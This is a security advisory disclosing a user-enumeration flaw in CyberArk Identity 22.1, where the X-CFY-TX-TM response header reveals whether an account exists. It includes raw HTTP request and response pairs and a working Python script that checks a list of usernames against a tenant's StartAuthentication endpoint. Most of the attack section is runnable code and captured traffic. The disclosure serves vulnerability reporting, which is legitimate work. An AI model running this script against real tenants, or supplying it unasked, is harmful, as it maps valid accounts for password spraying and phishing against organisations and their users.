CyberArk Identity 22.1 - User Enumeration

Summary

Vulnerability

Description

CyberArk Identity versions up to and including 22.1 in the StartAuthentication resource, exposes the response header X-CFY-TX-TM. In certain configurations, that response header contains different, predictable value ranges which can be used to determine wether a user exists in the tenant.

Proof of Concept

• A request is sent with a known valid user

Request:

POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json

{"TenantId":"","User":"[email protected]","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}

Response:

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 109
...

In the cases when the user exists, the value of X-CFY-TX-TM is always less than 500.

• A request is sent with a non existent user

Request:

POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 147
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json

{"TenantId":"","User":"[email protected]","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}

Response:

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 1492
...

In the cases when the user does not exist, the value of X-CFY-TX-TM is always above than 1000.

Exploit

The following code was used to enumerate valid users:

#!/usr/bin/env python # # Author: [email protected] import json import requests import sys URL = 'https://<customer>.my.idaptive.app/Security/StartAuthentication'
RAW_DATA =  '{"TenantId":"","User":"[email protected]","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}'
JSON_DATA = json.loads(RAW_DATA)

with open(sys.argv[1], 'r') as fd:
    USERS = [x.rstrip() for x in fd.readlines()]

for USER in USERS:
    VALUE = 10000
    PAYLOAD = JSON_DATA
    PAYLOAD['User'] = USER
    RESP = requests.post(URL, json=PAYLOAD)
    if 'X-CFY-TX-TM' in RESP.headers:
        VALUE = int(RESP.headers['X-CFY-TX-TM'])
    if VALUE < 1000:
        print(VALUE)
        print(f'[+] User {USER} exists.')
    else:
        print(f'[-] User {USER} not exists.')

Credits

The vulnerability was discovered by Andrés Roldán from the Offensive Team of Fluid Attacks.

References

Vendor page https://www.cyberark.com/resources/cyberark-identity/

Changelog https://docs.cyberark.com/Product-Doc/OnlineHelp/Idaptive/Latest/en/Content/ReleaseNotes/ReleaseNotes-Latest.htm

Timeline